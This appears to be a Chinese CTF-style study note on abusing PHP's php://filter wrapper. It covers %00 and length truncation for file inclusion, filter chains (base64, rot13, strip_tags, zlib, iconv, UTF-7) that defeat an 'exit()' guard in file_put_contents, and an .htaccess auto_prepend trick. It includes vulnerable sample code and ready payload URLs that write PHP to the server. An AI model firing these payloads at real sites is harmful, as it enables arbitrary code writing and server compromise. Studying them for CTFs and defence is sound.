php伪协议进阶总结:

这里主要还是对php伪协议的使用和绕过做一个总结。免得后面忘记了。

绕过方式:

Url%00截断:

对于这种类型的代码:

<?php
$filename = $_GET['name'];
if(isset($filename)){
include($filename."No");
}
?>

可以使用url%00截断进行绕过。这里是因为在使用Include函数的时候,对于参数进行了拼接,如果我们直接传入会造成不能正确执行伪协议的文件读取。

这里可以通过%00来对传入的伪协议进行截断,形如:

php://filter/read=convert.base64-encode/resource=flag.php%00

可以达成绕过。

%00截断的根本原理和使用条件:

原理是因为%00在url中会被后端理解为是十六进制格式的值,然后服务器会将其作为16进制的hex自动翻译成0x00,也就是空值。

在底层的C和汇编中,会将这个空值用来表示字符串结束,是一个特殊的标识符。当解析到这个标识符的时候,就会自动停止读取,实现截断。

使用条件:

  • GET方式传参
  • PHP版本小于5.3.4
  • 启用magic_quote_gpc

注意不能使用POST,因为POST不会对%00进行url解码,因此不会生成空字符,需要使用0x00进行截断

同时也不能将%00放在文件名里面,这是因为文件名中的%00会被解析为字符串,不能被正确执行。

这里填

长度截断:

这里主要是利用操作系统对于目录字符存在有长度限制。

在windows环境下,对于目录的最大长度限制是256字节,而在Linux环境下,最大长度限制是4096字节。

只要超出了长度限制,就会产生丢弃。

因此,对于上述的文件名拼接,可以通过将文件名设置过长,来避免文件路径的拼接,同时使用的目录字符不会被错误读取,就可以绕过。

在windows环境下使用.

在Linux环境下使用./

长度截断使用条件:

  • php版本小于5.2.8

常见伪协议:

image-20221102001052116

exit()死亡绕过:

在使用file_put_contents()函数进行文件写入的时候,经常会遇到通过exit()函数来避免命令执行的方法。一般管这玩意儿叫做死亡函数。

对于形如这样的代码:

<?php
$a=$_GET['a'];
$b=$_GET['b'];
file_put_contents($b,"<?php exit();?>".$a);
?>

如果进行了文件写入之后,会发现exit()函数始终在需要执行的代码前面。因此需要进行绕过,否则的话不能实现我们需要的效果。

这里绕过的常见思路是对文件中的exit()函数进行污染。

常见操作有:

base64解码绕过:

对于base64来说,加密后的结果应该只包含a-z,0-9,A-Z,+,=,/这几个字符。

其中=用于填充字符串。

当PHP使用base64进行解码的时候,遇到不包含在base64字符集中的字符,会直接进行跳过,然后再进行解密。

同时会将四个字节作为一组来进行解码。

也就是说,对于文件中的<?php exit();?>函数,在base64中只会被认为是phpexit,这个时候只要再添加一个字节的字符,就会凑成八个字节,然后就会被base64解码成为乱码。保存到文件中。

实例:

测试代码:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
file_put_contents($b,"<?php exit();?>".$a);
?>

image-20221102013448083

image-20221102013437629

这里使用php://filter的base64解密参数,对文件的内容进行解码,作为文件名,同时将<?php info(); ?>进行base64加密后,添加一个字节,传入。

image-20221102013703364

添加一个a:

aPD9waHAgcGhwaW5mbygpOyA/Pg==

传入:

http://localhost/?b=php://filter/write=convert.base64-decode/resource=test.php&a=aPD9waHAgcGhwaW5mbygpOyA/Pg==	

image-20221102013743390

可以看见exit()被污染了。可以正常执行php文件。

image-20221102013817384

rot13解码绕过:

原理和base64的解码绕过是相同的,之所以使用这个解码方式,是因为在php://filter中自带的加密解密方法就是base64和rot13。

关于rot13的加密解密原理,参考:

https://blog.51cto.com/u_15127612/4109762

简单来说,这个就是一个凯撒密码,将所有的字母向后位移13位就行。 同时,也和base64一样,会将不在字符集内(a-z,A-Z)的符号进行忽略。

这里需要理解到的是,这个rot13因为是一个另类的凯撒算法,所以是一个对称密码,因此,只要进行两次加密,就等于解密,进行两次解密就等于加密。

所以,当我们传入的值是一个加密后的值,再进行一次加密之后,就会对等于解密,同时会将<?php exit(); ?>进行加密。就可以实现绕过了。

因此可以:

image-20221102104945463

localhost/?b=php://filter/string.rot13/resource=test.php&a=<?cuc cucvasb(); ?>

文件写入结果:

image-20221102105157811

image-20221102110053855

执行结果。

版本问题:

对于小于php 5.3.29,可能会导致代码执行失败,应该是某个配置造成的。image-20221102113506010

string.strip_tags嵌套绕过:

这个伪协议中的参数等同于使用strip_tags()函数处理所有的流。

strip_tags—从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串str去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()一样的机制去除标记。

因为这个可以去除php标记,所以可以嵌套使用,思路和之前的类似。

首先将我们想要写入的内容进行base64加密,然后再嵌套使用string.strip_tags和convert.base64-decode,先去除PHP标记,然后再进行base64解密,就可以实现写入了。

payload:

localhost/?b=php://filter/string.strip_tags|convert.base64-decode/resource=test.php&a=PD9waHAgcGhwaW5mbygpOyA/Pg==

写入结果:

image-20221102115722605

执行结果:

image-20221102234625046

使用条件:

image-20221103112712382

  • php版本小于7(虽然是写的小于7.3,但是实测是7.2的时候,就会报错了。)

当在PHP版本大于7的环境使用的时候,会出现报错。

image-20221102235657480

因此只能在PHP版本五中进行使用。而对于版本大于7的PHP环境中,也有自己的过滤器嵌套绕过方法。

zlib.deflate嵌套绕过:

image-20221103113202119

对于压缩过滤器,在平时使用php伪协议的时候不太常用到,这里贴一个链接,用来说明使用方式:

http://www.lvesu.com/blog/php/filters.compression.php

image-20221103114055890

这里可以看见这个过滤器和zip://协议的不同,因为zip://协议是只能用于对本地文件的压缩和解压缩,但是zlib.deflatezlib.inflate是用于对流的压缩和解压缩,可以用于将非压缩流,转化为压缩流。

如果只是单独使用压缩和解压缩,当然不会对文件的内容产生影响,但是可以在中间添加一个string.tolower,然后再进行解压缩流。

string.tolower可以用于将输入流进行小写转换,这里的使用方式,主要是首先通过zlib.deflate将我们传入的参数进行压缩,然后进行小写转换,再进行解压缩。

这里的思路还是通过加密,解密,压缩解压缩的方式对文件中的值进行污染。

但是根本原理我在网上找了很多文章,都没找到。

也就是说,目前只能用在对于exit()函数的绕过中。

这里简述一下我尝试后得出的特点:

特点:

  • 对于写入的语句来说,大写的字母不会被污染,对于小写的字母,当字母成为字符串的时候,会对其中的一些特殊字母污染。
  • 特殊的字母有a,b,e之类的
  • 会将空格消除掉。

这里提供一下payload:

http://localhost/?b=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=test.php&a=<?php%0dphpinfo();?>

写入效果:

image-20221103233049750

这里需要注意到的一点是,因为通过这种方式写入的文件内容,会将其中的空格消除掉,所以在<?phpphpinfo();中间,不能直接填写空格,而是要通过%0d进行分割,也就是url编码的换行符。

这里看别的师傅的博客,给了几个解,这里贴一下,用于参考:

?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=4.php
DATA:
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=4.php
或者
content=php/:|<?php%0Dphpinfo();?>/resource=4.php

运行结果:

image-20221103233712610

.htaccess文件预包含绕过:

对于apache中始终存在的.htaccess文件动点手脚。

首先,在php.ini中存在两个配置选项:

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

这两个配饰选项,可以通过在页面的底部或者是顶部对需要的文件进行加载,这个文件可以是多种文件。

配置方式例如:

auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/footer.php"

使用以上的配置,会使得服务器内的所有页面都在顶部和尾部加载相应的php文件。

可以指定一个文件夹内的页面进行:

在需要进行文件包含的文件夹内加入.htaccess文件,写入如下配置

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

只要能够对.htaccess文件进行修改,就能够使用任何文件对flag文件进行包含了。

因此可以写入如下payload:

http://localhost/?b=php://filter/write=string.strip_tags/resource=.htaccess&a=php_value%20auto_prepend_file%20%22/test.php%22

然后就可以在对应的文件架下的任意页面加载flag了。

算是对string.strip_tags过滤器的进一步利用了,因为没有写入php语句,也不需要像上面的绕过方式一样,使用base64加密。

exit()死亡绕过进阶:bypass相同变量

对于上述的绕过方式,存在后端源码是这样的:

<?php
$a=$_GET['a'];
$b=$_GET['b']
file_put_contents($b,"<?php exit();?>".$a);
?>

但是实际上还存在这样的代码:

<?php
$a=$_GET['a'];
file_put_contents($a,"<?php exit();?>".$a);
?>

这里可以看见,他将文件的名字设为了和我们写入的内容是一样的,这里就提高了难度,我们需要在写入内容中添加.php才能作为php文件进行执行。

已知的存在以下绕过方法:

base64去除等号绕过:

这里使用的base64和之前的方法不能一样,这里可以做一个实验:

http://localhost/?a=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

这里我传入payload如上。其中的字符串部分是加密后的<?php phpinfo(); ?>。理论上来说,这里会尝试写入文件。

但是事实上,可以看见这里爆了很多错:

image-20221104103835977

可以看见这里被我圈出来的部分,这个地方报的错比较关键。

首先重新理解一下使用base64加密流传入的数据

当我们使用以上的payload进行传入的时候,文件中的内容应当是:

<?php exit(); ?>php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

然后对整体进行一次base64解密,这样就会对前面的exit()造成污染。

image-20221104150411294

这里可以看见,通过输入payload,已经在本地生成了一个文件了,说明文件名是成功执行了的,但是文件内容是空的。image-20221104150510242

这里的主要原因是因为,在文件内容中,进行base64解密的时候,会将resource=这部分也作为base64进行解密,而=在base64中是作为占位填充符写入的,始终出现在加密字符串的最后端。

因此,只要在最后的等号后出现了别的字符,在base64进行解密的时候,就会认为这个字符串是有问题的,报错。

因此,要尝试写入,就必须想办法避免这个等号。

这里参考的网上师傅的做法,就是将使用string.strip_tags过滤器,将其中的resource后面的等号去掉:

这里payload大概是:

http://localhost/text.php?a=php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOz8+/../123.php

写入效果:

image-20221107142219896

这里写入的原理,是因为在伪协议写入的文件流中,使用了string.strip_tags过滤器,当我们直接将文件内容写入后,进行读取的时候,就会将文件中的php标签,或是XML的标签去掉。而在这个payload中,对resource和等号部分做了处理,写成了<resource=>,这里会被理解为是XML的标签,因此会将resource=直接去除,这样就不会因为等号造成影响。

这里写一个参考payload:

http://localhost/text.php?a=php://filter/string.strip_tags|convert.base64-decode|%3C/resource=%3EaaPD9waHAgcGhwaW5mbygpOyAgICAgICAgID8%2B/../123.php

通过这个方式,能够将文件写入到123.php文件中。

image-20221107150009764

执行效果:

image-20221107150122729

注意点:

因为这里是因为=导致的报错,所以会需要对resource=进行去除,但是在对写入的字符串进行解密的时候,有可能同样会出现进行base64编码后,字符串内容出现=号的占位符号。在这个情况下,写入的文件内容是:

<?php exit(); ?>php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/../123.php

当对这个进行base64解密的时候,同样还是会出错。所以需要做一些操作。

比如可以在字符串中添加空格,跳过=占位符。

或者是通过对字符串进行处理,在=号的左右边添加<>,然后使用string.strip_tags删除,这样就不会出现问题了。

aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4<=>

以及传入的base64加密的字符串前要加上两个字符,因为这样才能保证解码不会出错

image-20221107160725828

文件解码的时候才能正常解码,否则最终还是会解码成为乱码。

这个用法在TP5.0.x的POP链里可以用到

rot13编码

因为rot13编码方式其实是一个替换字符的凯撒密码,因此是不需要考虑等号的,可以和之前的绕过方式一样,直接执行就可以了。

这里可以给出一个Payload:

http://localhost/text.php?a=php://filter/string.rot13|%3C?cuc%20cucvasb();?%3E/resource=123/../123.php

通过这个方式,写入的文件内容如下:

image-20221107222551708

要执行这个文件,需要没有开启short_open_tag这个选项。

iconv字符编码绕过:

除了上述的几种编码方式,还有一种可以使用iconv字符编码进行绕过的方式。

其实基本原理还是类似于base64和rot13的编码方式。其实就是通过不同的编码方法,对exit()执行先加密,然后解密的过程,在这个过程中使得exit()函数失效即可。

在PHP中,iconv函数库主要用于完成各种字符集之间的转换,在该函数库下面存在一个convert.iconv.的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于使用iconv()函数处理所有的流数据。

(也就是直接对我们使用filter进行传入的所有流数据进行处理。)

使用iconv的格式大体如下:

iconv ( string $in_charset , string $out_charset , string $str ) : string

也就是将字符串str从in_charset转换编码到out_chareset。这里可以利用不同的编码格式,来对写入的字符串进行污染。

这里一般使用到的是ucs编码。

对于UCS存在两种编码格式:

UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码

因此,就和使用rot13方式一样,可以直接传入加密后的字符串,然后再进行解密即可。

UCS-2编码方式,是对目标字符进行2位一反转,而UCS-4则是对目标字符串进行四位一反转。

这里要进行字符编码,可以直接使用PHP中自带的函数,也就是上面写的iconv函数。

这里是使用ucs-2的函数:

<?php
$a = "<?php phpinfo(); ?>";
echo iconv("UCS-2LE","UCS-2BE",$a);
?>

输出效果:

image-20221108112249807

这里的2LE和2BE可以看作是小端和大端的例子。

对于进行编码的字符串,需要是2的倍数,如果不是2的倍数的话,不能正常进行翻转,多余不满足的字符串会被截断。

同理,UCS-4也是这样的,字符串需要满足是4的倍数,否则不能正常进行翻转,同样会将多余的部分截断。

UCS-4的程序:

<?php
$a = "<?php phpinfo(); ?>";
echo iconv("UCS-4LE","UCS-4BE",$a);
?>

image-20221108113137683

(这里字符串长20,同时是4和2的倍数,我就没改)

这里尝试传入payload,使用UCS-2编码方式:

http://localhost/text.php?a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=123/../123.php

写入效果:

image-20221108164418028

运行效果:

image-20221108164529069

而使用UCS-4的写入效果同理:

<?php
echo iconv("UCS-4LE","UCS-4BE","<?php phpinfo();?>aa");
?>

这里注意,要将字符串补充到4的倍数,因此添加了两个a。

然后使用伪协议进行处理:

http://localhost/text.php?a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|?%3Caa%20phpiphp(ofn%3E?;)/resource=123.php

即可实现写入。

UTF-8字符编码绕过:

这个绕过方法属于base64去除等号绕过方法的另改版,可以通过进行不同编码的方法来去除等号,这样的话,就可以避免因为resource=的原因导致base64解码失败。

这里简单来说,就是将等号的编码从utf-8转换为utf-7,会将等号转换为+AD0-,但是这样并不会影响对于base64的解码。

<?php
echo iconv("UTF-8","UTF-7","=");
?>

运行结果:

image-20221109084450087

也就是说,可以通过将字符串转换为utf-7,然后通过base64解码就可以了。

这里给出一个Payload:

http://localhost/text.php?a=php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/resource=123.php

注意这里对base64加密的字符串前面加上了两个a,这是为了凑够4的倍数,因为将utf-8转换为utf-7的时候,会使得字符串产生变化,这个得根据自己的Payload来实际算一下,比如我的,写入文件后应该是这样的:

<?php exit();?>php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4=/resource=123.php

然后进行utf-8转换为utf-7,可以看见字符串变成了:

+ADw?php exit()+ADs?+AD4-php://filter/convert.iconv.UTF-8.UTF-7+AHw-convert.base64-decode+AHw-aaPD9waHAgcGhwaW5mbygpOyAgICAgPz4+AD0-/resource+AD0-123.php

这里根据之前写过的base64编码后的原则数一下,可以发现这里在Payload前面一共存在78个字符,所以添上两个字符。

写入效果:

image-20221109093302209

image-20221109093431574